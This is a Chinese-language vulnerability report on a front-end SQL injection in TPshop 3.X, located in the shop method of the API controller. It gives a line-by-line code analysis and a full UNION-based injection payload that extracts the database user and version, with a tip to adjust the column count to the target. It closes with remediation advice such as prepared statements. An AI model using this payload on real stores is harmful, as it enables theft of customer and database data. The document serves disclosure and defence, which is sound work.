某shop API接口前台注入(通杀3.X)
字数 791 2025-08-29 08:32:24
TPshop API接口前台SQL注入漏洞分析报告
漏洞概述
TPshop电商系统(3.X版本)存在一个前台SQL注入漏洞,攻击者可通过构造恶意请求获取数据库敏感信息。该漏洞位于/application/home/controller/Api.php控制器的shop方法中,由于未对用户输入进行有效过滤,导致SQL注入风险。
漏洞详情
受影响版本
- TPshop 3.X系列版本
漏洞位置
/application/home/controller/Api.php中的shop方法
漏洞类型
SQL注入
漏洞成因
- 未对用户输入参数进行预编译处理
- 直接将用户可控变量拼接到SQL语句中执行
漏洞分析
代码分析
关键代码段位于Api.php的shop方法:
379~384行: 获取外部输入并赋值给变量
385~387行: 检查$province_id、$city_id、$district_id是否为空
388行: 将上述参数放入$where数组
389行: 定义$field变量赋值为*
390行: 定义$order变量赋值为shop_id desc
391行: 检查$longitude是否为真
392行: 将$longitude、$latitude拼接到SQL语句
393行: 将$order赋值为distance ASC
395行: 检查$shop_address是否为真
396行: 将$shop_address放入$where数组
399行: 执行SQL查询
漏洞触发点
$field变量传入field方法时未进行预编译处理,而是直接拼接到SQL语句中执行。
漏洞复现
测试环境
- TPshop 3.X
- 示例URL:
http://www.example.com/index.php/home/api/shop
复现步骤
- 发送POST请求到目标URL
- 构造恶意参数:
province_id=1&city_id=2&district_id=1&shop_address=aaaa&latitude=1&longitude=1' - 观察数据库错误返回
完整Payload
province_id=1&city_id=2&district_id=1&shop_address=aaaa&latitude=1&longitude=1- latitude)* 111),2))),2) AS distance FROM `tp_shop` WHERE `deleted` = :where_deleted AND `shop_status` = :where_shop_status AND `province_id` = :where_province_id AND `city_id` = :where_city_id AND `district_id` = :where_district_id AND ( `shop_name` LIKE :where_shop_name OR `shop_address` LIKE :where_shop_address ) UNION(SELECT(user()),(version()),(3),(4),(5),(6),(7),(8),(9),(10),(11),(12),(13),(14),(15),(16),(17),(18),(19),(20),(21),(22),(23),(24),(25),(26),(27),(28))%23
注意:实际使用时需要根据目标系统的字段数调整Payload。
利用效果
- 查询数据库用户:
SELECT(user()) - 查询数据库版本:
SELECT(version()) - 查询数据库名
- 查询表结构
- 查询用户数据
修复建议
- 对所有用户输入参数进行严格的过滤和验证
- 使用预编译语句(PDO)替代直接拼接SQL
- 对数字型参数进行强制类型转换
- 对字符串参数进行转义处理
- 最小化数据库用户权限
总结
该漏洞展示了开发过程中忽视输入验证和SQL预编译处理可能导致的严重后果。开发人员应始终遵循"不信任任何用户输入"的原则,对所有外部输入进行严格验证和过滤。
安全箴言:代码千万行,安全第一条,开发(PDO)不规范,系统被插惨。